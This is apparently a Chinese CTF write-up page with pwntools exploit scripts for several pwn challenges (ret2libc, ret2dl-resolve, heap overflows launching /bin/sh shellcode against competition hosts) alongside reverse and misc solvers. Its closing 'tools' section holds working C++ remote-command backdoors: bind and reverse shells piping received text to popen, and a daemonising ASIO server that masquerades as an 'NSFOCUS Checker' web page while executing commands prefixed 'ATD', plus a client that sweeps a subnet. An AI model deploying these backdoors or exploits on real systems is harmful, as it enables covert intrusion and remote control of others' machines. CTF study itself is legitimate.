WriteUp
CISCN11半决赛华中赛区 Pwn ciscn-q12 pwn_n
pwn入门题
from pwn import * from LibcSearcher import LibcSearcher context(log_level = 'debug') p = process('./pwn') e = ELF('./pwn') puts_plt = e.plt['puts'] puts_got = e.got['puts'] foo_addr = 0x0804859F p.recv() payload1 = flat(['a' * 0x20, puts_plt, foo_addr, puts_got]) p.sendline(payload1) length=len(payload1) puts_addr = u32(p.recv()[length+1:length+5]) print hex(puts_addr) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts') print hex(libcbase) system_addr = libcbase + libc.dump('execve') binsh_addr = libcbase + libc.dump('str_bin_sh') p.sendline(flat(['a' * 0x20, system_addr, 'b'*4, binsh_addr, 0, 0])) p.interactive()
中国科学技术大学第五届信息安全大赛 猫咪遥控器
open System.IO open System.Drawing open System.Drawing.Imaging open System.Diagnostics open System open System.Windows.Forms open System.Windows let ReadFile _ = let dlg = new OpenFileDialog() dlg.ShowDialog() |> ignore let sr = new StreamReader(dlg.FileName) let res = sr.ReadToEnd() sr.Close() res let Draw path = let bitmap = new Bitmap(1000,1000) let mutable x = 0 let mutable y = 0 for i in path do match i with | 'U' -> Some(y <- y - 1) | 'D' -> Some(y <- y + 1) | 'L' -> Some(x <- x - 1) | 'R' -> Some(x <- x + 1) | _ -> None |> ignore bitmap.SetPixel(x,y,Color.White) bitmap.Save("temp.jpg", ImageFormat.Jpeg); [<EntryPoint>] let main _ = ReadFile() |> Draw Process.Start("temp.jpg") |> ignore 0
CISCN12线上赛 Pwn baby_pwn
import sys import roputils from pwn import * offset = 0x28 + 0x4 readplt = 0x08048390 bss = 0x0804a040 vulFunc = 0x0804852d p = remote('c346dfd9093dd09cc714320ffb41ab76.kr-lab.com', 56833) context.log_level = 'debug' def getReloc(elf, base): jmprel = elf.dynamic('JMPREL') relent = elf.dynamic('RELENT') addr_reloc, padlen_reloc = elf.align(base, jmprel, relent) reloc_offset = addr_reloc - jmprel return reloc_offset rop = roputils.ROP('./pwn1') addr_bss = rop.section('.bss') buf1 = 'A' * offset buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100) p.send(buf1) buf2 = rop.string('/bin/sh') buf2 += rop.fill(20, buf2) buf2 += rop.dl_resolve_data(addr_bss+20, 'system') buf2 += rop.fill(100, buf2) p.send(buf2) buf3 = 'A' * offset + rop.dl_resolve_call(addr_bss+20, addr_bss) p.sendline(buf3) p.recv() p.interactive()
第六届中科大信息安全大赛 Shell 骇客
pwn入门题
from pwn import * context.log_level='debug' context(arch = 'amd64', os = 'linux') shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #sh = process('./chall1') sh=remote('202.38.93.241',10002) sh.recv() sh.sendline(r'962:MEYCIQC+Z/I2wKCWCKgWb0hUDm0HInjugtpwI63F5HGokRFRRQIhAK9Ebsq6MgbFsR6Qte3oM7r/4tL0Sm15xO9HWhlAXuyF') #sh.sendline(asm(shellcraft.sh())) sh.sendline(shellcode) sh.interactive()
2019湖湘杯
pwn
HackNote
from pwn import * context.log_level = 'debug' context.binary = './HackNote' elf = ELF('./HackNote') libc = elf.libc io = remote('183.129.189.62', '15604') def new(size, content): io.sendlineafter("4. Exit", "1") io.sendlineafter("Input the Size:\n", str(size)) io.sendlineafter("Note:\n", content) def free(idx): io.sendlineafter("4. Exit", "2") io.sendlineafter("Note:\n", str(idx)) def edit(idx, content): io.sendlineafter("4. Exit", "3") io.sendlineafter("of Note:\n", str(idx)) io.sendlineafter("Note:", content) new(0x18, 'a' * 0x4) new(0x38, 'b' * 0x4) new(0x38, 'c' * 0x4) new(0x38, 'd' * 0x4) edit(0, 'a' * 0x18) edit(0, 'a' * 0x18 + '\xc1') free(1) new(0x78, 'e' * 0x4) free(2) edit(1, 'a' * 0x38 + p64(0x41) + p64(0x6cb772)) new(0x38, '\n') shellcode = "" shellcode += "\x48\x31\xf6\x56\x48" shellcode += "\xbf\x2f\x62\x69\x6e" shellcode += "\x2f\x2f\x73\x68\x57" shellcode += "\x54\x5f\x6a\x3b\x58" shellcode += "\x99\x0f\x05" payload = 'a' * 6 + p64(0x6CB788+8) + shellcode new(0x38, payload) io.recvuntil("4. Exit\n") io.sendlineafter("\n", "1") io.sendlineafter("Input the Size:\n", "1") io.interactive()
NameSystem
from pwn import * context.log_level = 'debug' context.binary = './NameSystem' elf = ELF('./NameSystem') libc = elf.libc io = remote('183.129.189.62', '11205') def new(size, content): io.sendline("1") io.sendlineafter("Size:", str(size)) io.sendlineafter("Name:", content) def show(): io.sendline("2") def free(idx): io.sendline("3") io.sendlineafter("delete:", str(idx)) def loop(func, times): for _i in range(times): func() loop(lambda:new(0x50, "a" * 0x4), 2) loop(lambda:new(0x20, "%13$lx"), 16) loop(lambda:new(0x50, "a" * 0x4), 2) free(0) free(18) free(0) free(19) loop(lambda:free(0), 2) new(0x30, "a" * 0x4) new(0x30, "b" * 0x4) new(0x30, "c" * 0x4) free(17) free(18) free(17) free(19) loop(lambda:free(0), 4) new(0x50, p64(0x602000 - 6)) new(0x50, 'b' * 0x4) new(0x50, 'c' * 0x4) new(0x50, '\x00' * 6 + '\x00' * 8 + p64(0x4006d0)[:7]) free(0) libc_base = int(io.recv(), 16) - 0x20740 - 240 loop(lambda:free(0), 4) new(0x30, p64(0x602020 + 2)) new(0x30, 'd' * 0x4) new(0x30, '/bin/sh\x00') new(0x30, '\x00' * 6 + p64(libc_base + 0x45390)[:7]) io.sendline("3") io.sendline("16") io.interactive()
Reverse
EzRE
open System // 0x8; 0x1; 0x0e; 0x0b; 0x7; 0x10; 0x1; // 0x0b; 0x0f; 0x0f; 0x1; 0x1; 0x9; 0x1; // 0x1; 0x1; 0x1; 0x1; 0x1; 0x0b; 0x1; // 0x0c; 0x0c; 0x8; 0x0e; 0x1; 0x8; 0x1; // 0x08; 0x1; 0x1; 0x0c; 0x9; 0x0e; 0x1; // 0x0d; 0x8; 0x0b; 0x1; 0x1; 0x1; 0x1; // 0x1; 0x1; 0x9; 0x0a; 0x9; 0x9; 0x63; "sddwdddssssaawaaassddsdddd".ToCharArray() |> Array.map (fun x -> match x with | 'w' -> "1" | 's' -> "2" | 'a' -> "3" | 'd' -> "4") |> String.concat "\n" |> Console.WriteLine Console.ReadLine() |> ignore
exp.exe | esrever.exe
argument
open System [|0x50; 0xc6; 0xf1; 0xe4; 0xe3; 0xe2; 0x9a; 0xa1; 0xa7; 0xde; 0xda; 0x46; 0xab; 0x2e; 0xff; 0xdb|] |> Array.map (fun x -> (x - 1).ToString("X2").ToLower()) |> String.concat "" |> Console.WriteLine Console.ReadLine() |> ignore
安恒杯月赛暨全国大学生信息安全竞赛北京工业大学校内选拔赛
Misc
BabyNC
import socket ef=444444444444444444444444444 sf=333333333333333333333333333 f=(ef+sf)//2 while True: s = socket.socket() s.connect(('183.129.189.60',10029)) s.send(str(f).encode()) rev = s.recv(1024).decode() print(f, rev) if rev == 'too big': ef = f elif rev == 'too small': sf=f else: break; s.close() f=(ef+sf)//2 print(f)
Pwn
fantasy
from pwn import * context.log_level = 'debug' #sh = process('./f.o') sh = remote('183.129.189.60',10025) sh.recv() sh.send('a'*0x38+p64(0x000006DA)) sh.interactive()
Reverse
lucky_guy
#include <cstring> #include <cstdio> #include <cstdlib> int main() { char s[100] = {0x69, 0x63, 0x75, 0x67, 0x60, 0x6f, 0x66, 0x7f, 0x00}; char f1[100] = "GXY{do_not_"; char f2[100] = {0}; char v1; strcat(f2, (const char *)&s); while (true) { for (auto j = 0; j <= 7; ++j) { if (j % 2 == 1) v1 = *(f2 + j) - 2; else v1 = *(f2 + j) - 1; *(f2 + j) = v1; } puts("OK, it's flag:"); memset(&s, 0, 0x28uLL); strcat((char *)&s, f1); strcat((char *)&s, f2); printf("%s", &s); system("pause"); } }
CISCN13/线上赛
Misc
电脑被黑
#include <cstdio> int main(int argc, char* argv[]) { const auto path = R"(Z:\fakeflag.txt)"; char v4 = 34; char v5 = 0; const auto v7 = fopen(path, "rb"); const auto stream = fopen(path, "rb+"); while (true) { const char v6 = fgetc(v7); if (v6 == -1) break; // fputc(v4 ^ (v5 + v6), stream); fputc((v4 ^ v6) - v5, stream); v4 += 34; v5 = v5 + 2 & 0xF; } fclose(v7); fclose(stream); }
CISCN13/华中赛区
traffic
nums = [] with open('usbdata.txt','r') as keys: posx = 0 posy = 0 for line in keys: x = int(line[2:4],16) y = int(line[4:6],16) if x > 127: x -= 256 if y > 127: y -= 256 posx += x posy += y btn_flag = int(line[0:2],16) if btn_flag == 1: print (posx , posy)
Hackergame 2020/从零开始的记账工具人
using System; using System.IO; using System.Linq; using System.Text; namespace ConsoleApp1 { internal static class Program { private static string ConvertToDigit(string args) { string[] wrongStr = { "○", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十", "千", "百", "正" }; string[] standard = { "零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖", "拾", "仟", "佰", "整" }; string[] rmb = { "兆", "仟", "佰", "拾", "亿", "仟", "佰", "拾", "万", "仟", "佰", "拾", "元", "角", "分" }; string[] num = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" }; for (var i = 0; i < wrongStr.Length; i++) args = args.Replace(wrongStr[i], standard[i]); for (var i = 0; i < num.Length; i++) args = args.Replace(standard[i], num[i]); args = args.Replace("0", "").Replace("整", ""); if (args.IndexOf("元", StringComparison.Ordinal) < 0) args = "0元" + args; var str = ""; for (int i = args.Length - 1, idx = rmb.Length; i > 0; i--) { var tmp = args.Substring(i, 1); if (char.IsNumber(tmp, 0)) continue; while (true) { idx -= 1; if (tmp == rmb[idx]) { var t = args.Substring(i - 1, 1); str = (char.IsNumber(t, 0) ? t : "0") + tmp + str; break; } str = "0" + rmb[idx] + str; } } str = str.Replace("元", "."); if (args[0].Equals('拾')) str = "1" + str; return rmb.Aggregate(str, (current, t) => current.Replace(t, "")); } private static void Main(string[] args) { Console.WriteLine( File.ReadAllLines(@"z:\bills.csv", Encoding.Default) .Skip(1) .Select(x => x.Split(',')) .Select(x => Convert.ToDecimal(ConvertToDigit(x[0])) * Convert.ToInt32(x[1])).Sum()); } } }
Hackergame 2020/自复读的复读机
_='_=%r;print((_%%_)[::-1],end="")';print((_%_)[::-1],end="") _=b'_=%r;print(__import__("hashlib").sha256(_%%_).hexdigest(),end="")';print(__import__("hashlib").sha256(_%_).hexdigest(),end="")
Hackergame 2020/来自一教的图片
MMA大法好
Image[Abs[Fourier[ImageData[...]]]]
工具
S/S
远程命令执行(服务器端),服务器端开监听
#include <string> #include <valarray> #include <regex> #include <list> #include <thread> #include <cctype> #include <sstream> #include <map> #include <iostream> #ifdef _MSC_VER #include <WinSock2.h> #include <WS2tcpip.h> #include <tchar.h> #include <strsafe.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "User32.lib") #else #include <arpa/inet.h> #include <dirent.h> #include <sys/socket.h> #include <netinet/in.h> #include <err.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <csignal> #endif #pragma region Server #include <cstdio> #include <string> #include <functional> #if (defined _WIN32 || _WIN64) #define windows #endif class Server { public: using SocketType = #ifdef windows SOCKET; #else int; #endif template <typename T> struct Option { enum class Status { Some, None }; Status status; T value{}; Option() :status(Status::None) { } Option(T value) :status(Status::Some), value(value) { } operator Status() { return status; } operator T() { return value; } }; using MessageString = const std::string; using Result = const Option<const std::string>; static const Result::Status Succeeded = Result::Status::None; static const Result::Status Failed = Result::Status::Some; class Client { public: SocketType socket{}; sockaddr_in address{}; #ifdef windows int #else unsigned #endif addrLen = sizeof address; Option<const int> Recv(char* buf, const uint64_t bufSize) { int len; if ((len = recv(socket, buf, bufSize, 0)) < 0) { return {}; } return { len }; } Option<const int> Send(const char* buf, const uint64_t bufSize) { int len; if ((len = send(socket, buf, bufSize, 0)) < 0) { return {}; } return { len }; } void SendAll(const std::string& str) { auto len = str.length(); for (decltype(len) sent = 0; sent < len; sent+=4096) { auto toSend = str.substr(sent, 4096); Send(toSend.c_str(), toSend.length()); } } std::string RecvAll() { const auto bufSize = 4096; char buf[bufSize] = { 0 }; std::ostringstream oss{}; while (true) { const auto res = Recv(buf, bufSize); if (res.status == decltype(res)::Status::Some) { oss.write(buf, res.value); if (res.value < bufSize) { break; } } else { break; } } return oss.str(); } Result Close() { #ifdef windows #define close closesocket #endif close(socket); return {}; } }; using ClientOption = Option<Client>; static const ClientOption::Status ClientSucceeded = ClientOption::Status::Some; static const ClientOption::Status ClientFailed = ClientOption::Status::None; const int Port; SocketType serverSocket{}; Server(const int port) :Port(port) { serverSockAddr.sin_family = AF_INET; serverSockAddr.sin_addr.s_addr = INADDR_ANY; serverSockAddr.sin_port = htons(port); } Result Init() { #ifdef windows WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) < 0) return { "WinSock init fail" }; #else struct sigaction action; action.sa_handler = [](int) {}; sigemptyset(&action.sa_mask); action.sa_flags = 0; sigaction(SIGPIPE, &action, nullptr); #endif serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (serverSocket <= 0) return { "Can't open socket" }; setsockopt(serverSocket, SOL_SOCKET, SO_REUSEADDR, optVal, sizeof optVal); return {}; } Result Bind() { if (bind(serverSocket, (struct sockaddr*) & serverSockAddr, sizeof serverSockAddr) < 0) { return { "Can't bind" }; } return {}; } Result Listen() const { listen(serverSocket, 100); return {}; } Option<Client> Accept() const { Client client{}; client.socket = accept(serverSocket, (struct sockaddr*) & client.address, &client.addrLen); if (client.socket <= 0) return {}; return { client }; } Result Close() const { #ifdef windows #define close closesocket #endif close(serverSocket); return {}; } private: const socklen_t sockAddrLen = sizeof(sockaddr_in); sockaddr_in serverSockAddr{}; char optVal[4] = { 0 }; }; #pragma endregion Server #pragma region Shell class Shell { #if (defined _WIN32 || _WIN64) #define PipeOpen _popen #define PipeClose _pclose #else #define PipeOpen popen #define PipeClose pclose #endif FILE* shell = nullptr; public: Shell() = default; void Init(const std::string& cmd) { shell = PipeOpen(cmd.c_str(), "r"); } auto Read(char* buf, int bufSize) const { return fread(buf, sizeof(char), bufSize, shell); } std::string ReadAll() const { std::ostringstream oss{}; const auto bufSize = 4096; char buf[bufSize] = { 0 }; while (true) { const auto len = Read(buf, bufSize); oss.write(buf, len); if (len < bufSize) { break; } } return oss.str(); } void Write(const char* buf, int bufSize) const { fwrite(buf, sizeof(char), bufSize, shell); } void Close() const { PipeClose(shell); } }; #pragma endregion Shell void Fuck(Server::Client client) { Shell shell{}; auto input = client.RecvAll(); shell.Init(input.substr(0, input.length() - 2)); //while (true) { //const auto bufSize = 4096; //char buf[bufSize]; //shell.Read(buf, bufSize); const auto echo = shell.ReadAll(); client.SendAll(echo); //puts(echo.c_str()); client.Close(); } } template<typename In = std::string, typename Out = int> [[nodiscard]] Out Convert(const In& value) { int res; std::istringstream(value) >> res; return res; } int main(const int argc, char* argv[]) { while (true) { try { Server server(Convert(argv[1])); server.Init(); server.Bind(); server.Listen(); while (true) { #ifndef windows fork(); #endif try { auto client = server.Accept(); if (client.status == Server::ClientSucceeded) { Fuck(client.value); } } catch (...) { } } } catch (...) { } } }
S/C
远程命令执行(客户端)
from socket import * s = socket() s.connect((gethostname(),5555)) s.send('ls /'+'\r\n') print(s.recv(4096))
C/S
远程命令执行(服务器端),客户端开监听
#include <string> #include <utility> #include <valarray> #include <regex> #include <list> #include <thread> #include <cctype> #include <sstream> #include <map> #include <iostream> #ifdef _MSC_VER #include <WinSock2.h> #include <WS2tcpip.h> #include <tchar.h> #include <strsafe.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "User32.lib") #else #include <arpa/inet.h> #include <dirent.h> #include <sys/socket.h> #include <netinet/in.h> #include <err.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <csignal> #include <netdb.h> #endif #pragma region Server #include <cstdio> #include <string> #include <functional> #if (defined _WIN32 || _WIN64) #define windows #endif class Client { public: using SocketType = #ifdef windows SOCKET; #else int; #endif template <typename T> struct Option { enum class Status { Some, None }; Status status; T value{}; Option() :status(Status::None) { } Option(T value) :status(Status::Some), value(value) { } operator Status() { return status; } operator T() { return value; } }; using MessageString = const std::string; using Result = const Option<const std::string>; static const Result::Status Succeeded = Result::Status::None; static const Result::Status Failed = Result::Status::Some; using ServerResult = Option<const int>; static const ServerResult::Status ServerSucceeded = ServerResult::Status::Some; static const ServerResult::Status ServerFailed = ServerResult::Status::None; const int Port; const std::string url; SocketType serverSocket{}; Client(std::string url, const int port) :Port(port), url(std::move(url)) { } Result Init() { #ifdef windows WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData) < 0) return { "WinSock init fail" }; #else struct sigaction action; action.sa_handler = [](int) {}; sigemptyset(&action.sa_mask); action.sa_flags = 0; sigaction(SIGPIPE, &action, nullptr); #endif //addrinfo hints{}; ////ZeroMemory(&hints, sizeof(hints)); //memset(&hints, 0, sizeof hints); //hints.ai_family = AF_UNSPEC; //hints.ai_socktype = SOCK_STREAM; //hints.ai_protocol = IPPROTO_TCP; //if (getaddrinfo(url.c_str(), std::to_string(Port).c_str(), &hints, &addrInfo) != 0) // return { "getaddrinfo error" }; addrInfo.sin_family = AF_INET; addrInfo.sin_port = htons(Port); inet_pton(AF_INET, url.c_str(), &addrInfo.sin_addr); serverSocket = socket(PF_INET, SOCK_STREAM, 0); if (serverSocket <= 0) return { "Can't open socket" }; return {}; } Result Connect() { if (connect(serverSocket, (sockaddr*)&addrInfo, sizeof addrInfo) == 0) { return {}; } return { "connect error" }; } ServerResult Recv(char* buf, const uint64_t bufSize) { int len; if ((len = recv(serverSocket, buf, bufSize, 0)) < 0) { return {}; } return { len }; } ServerResult Send(const char* buf, const uint64_t bufSize) { int len; if ((len = send(serverSocket, buf, bufSize, 0)) < 0) { return {}; } return { len }; } void SendAll(const std::string& str) { auto len = str.length(); for (decltype(len) sent = 0; sent < len; sent += 4096) { auto toSend = str.substr(sent, 4096); Send(toSend.c_str(), toSend.length()); } } std::string RecvAll() { const auto bufSize = 4096; char buf[bufSize] = { 0 }; std::ostringstream oss{}; while (true) { const auto res = Recv(buf, bufSize); if (res.status == decltype(res)::Status::Some) { oss.write(buf, res.value); if (res.value < bufSize) { break; } } else { break; } } return oss.str(); } Result Close() const { #ifdef windows #define close closesocket #endif close(serverSocket); return {}; } private: //addrinfo* addrInfo{}; sockaddr_in addrInfo{}; }; #pragma endregion Server #pragma region Shell class Shell { #if (defined _WIN32 || _WIN64) #define PipeOpen _popen #define PipeClose _pclose #else #define PipeOpen popen #define PipeClose pclose #endif FILE* shell = nullptr; public: Shell() = default; void Init(const std::string& cmd) { shell = PipeOpen(cmd.c_str(), "r"); } auto Read(char* buf, int bufSize) const { return fread(buf, sizeof(char), bufSize, shell); } std::string ReadAll() const { std::ostringstream oss{}; const auto bufSize = 4096; char buf[bufSize] = { 0 }; while (true) { const auto len = Read(buf, bufSize); oss.write(buf, len); if (len < bufSize) { break; } } return oss.str(); } void Write(const char* buf, int bufSize) const { fwrite(buf, sizeof(char), bufSize, shell); } void Close() const { PipeClose(shell); } }; #pragma endregion Shell void Fuck(Client server) { Shell shell{}; const auto input = server.RecvAll(); shell.Init(input); //while (true) { //const auto bufSize = 4096; //char buf[bufSize]; //shell.Read(buf, bufSize); const auto echo = shell.ReadAll(); server.SendAll(echo); //puts(echo.c_str()); server.Close(); } } template<typename In = std::string, typename Out = int> [[nodiscard]] Out Convert(const In& value) { int res; std::istringstream(value) >> res; return res; } #include <chrono> #include <thread> int main(const int argc, char* argv[]) { while (true) { #ifndef windows fork(); #endif try { Client client(argv[1], Convert(std::string(argv[2]))); client.Init(); const auto conn = client.Connect(); if (conn.status == Client::Succeeded) { Fuck(client); } std::this_thread::sleep_for(std::chrono::seconds(1)); } catch (...) { } } }
C/C
远程命令执行(客户端)
from socket import * s = socket() s.bind((gethostname(),5555)) s.listen(100) while True: c,addr = s.accept() print(addr) cmd='dir' c.send(cmd) print(c.recv(4096)) c.close()
SS.cpp
远程命令执行(服务器端),服务器端开监听,使用ASIO
#include <memory>
#include <utility>
#include <chrono>
#include <asio.hpp>
#include "Convert.h"
class Shell
{
#if (defined _WIN32 || _WIN64)
#define PipeOpen _popen
#define PipeClose _pclose
#else
#define PipeOpen popen
#define PipeClose pclose
#endif
FILE* shell = nullptr;
public:
Shell() = default;
void Init(const std::string& cmd)
{
shell = PipeOpen(cmd.c_str(), "r");
}
auto Read(char* buf, int bufSize) const
{
return fread(buf, sizeof(char), bufSize, shell);
}
void Write(const char* buf, int bufSize) const
{
fwrite(buf, sizeof(char), bufSize, shell);
}
void Close() const
{
PipeClose(shell);
}
};
class session: public std::enable_shared_from_this<session>
{
public:
session(asio::ip::tcp::socket socket): socket(std::move(socket)) {}
void start() { do_read(); }
private:
void do_read()
{
const auto self(shared_from_this());
socket.async_read_some(asio::buffer(data, max_length),
[this, self](const asio::error_code ec, const std::size_t length)
{
if (!ec)
{
if (std::string_view(data, 3) == "ATD")
{
Shell shell;
const auto dt = std::string(data + 3, length);
shell.Init(dt);
resLen = shell.Read(res, max_length);
do_write(resLen);
}
else
{
do_http();
}
}
});
}
void do_write(std::size_t length)
{
const auto self(shared_from_this());
async_write(socket, asio::buffer(res, length),
[this, self](const asio::error_code ec, std::size_t) { if (!ec) do_read(); });
}
void do_http()
{
static std::string html = R"(<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>NSFOCUS</title>
</head><body>
<h1>Checker is ok!/h1>
<p>This is Checker server for AWD.</p>
</body></html>)";
static std::string resp = R"(HTTP/1.1 200 Ok
Server: Apache/2.4.12
Content-Length: )" + Convert::ToString(html.length()) + R"(
Connection: close
Content-Type: text/html; charset=utf-8
)" + html;
const auto self(shared_from_this());
async_write(socket, asio::buffer(resp, resp.length()),
[this, self](const asio::error_code ec, std::size_t){ if (!ec) do_read(); });
}
asio::ip::tcp::socket socket;
enum { max_length = 8192 };
char data[max_length]{ 0 };
char res[max_length]{ 0 };
std::size_t resLen = 0;
};
class server
{
public:
server(asio::io_context& io_context, const short port)
: acceptor_(io_context, asio::ip::tcp::endpoint(asio::ip::tcp::v4(), port))
{
do_accept();
}
private:
void do_accept()
{
acceptor_.async_accept([this](const asio::error_code ec, asio::ip::tcp::socket socket)
{
if (!ec) std::make_shared<session>(std::move(socket))->start();
do_accept();
});
}
asio::ip::tcp::acceptor acceptor_;
};
int main(int argc, char* argv[])
{
#ifndef _MSC_VER
umask(0);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
#endif
while (true)
{
try
{
asio::io_context io_context;
server s(io_context, Convert::FromString<uint16_t>(std::string_view(argv[1])).value_or(0));
io_context.run();
}
catch (...)
{
}
}
}
SSc.cpp
远程命令执行(客户端)
from socket import *
from multiprocessing import Pool, freeze_support, cpu_count
port = 5555
ip = [f'*.*.*.{i}' for i in range(255)]
cmd = 'cat 1.html'
def Fuck(i):
try:
s = socket()
s.connect((str(i), port))
s.send(('ATD' + cmd).encode())
print(s.recv(8192))
except Exception as e:
print(i, ' die')
if __name__ == '__main__':
freeze_support()
pool = Pool(cpu_count())
results = pool.map(Fuck, ip)
total_error = sum(results)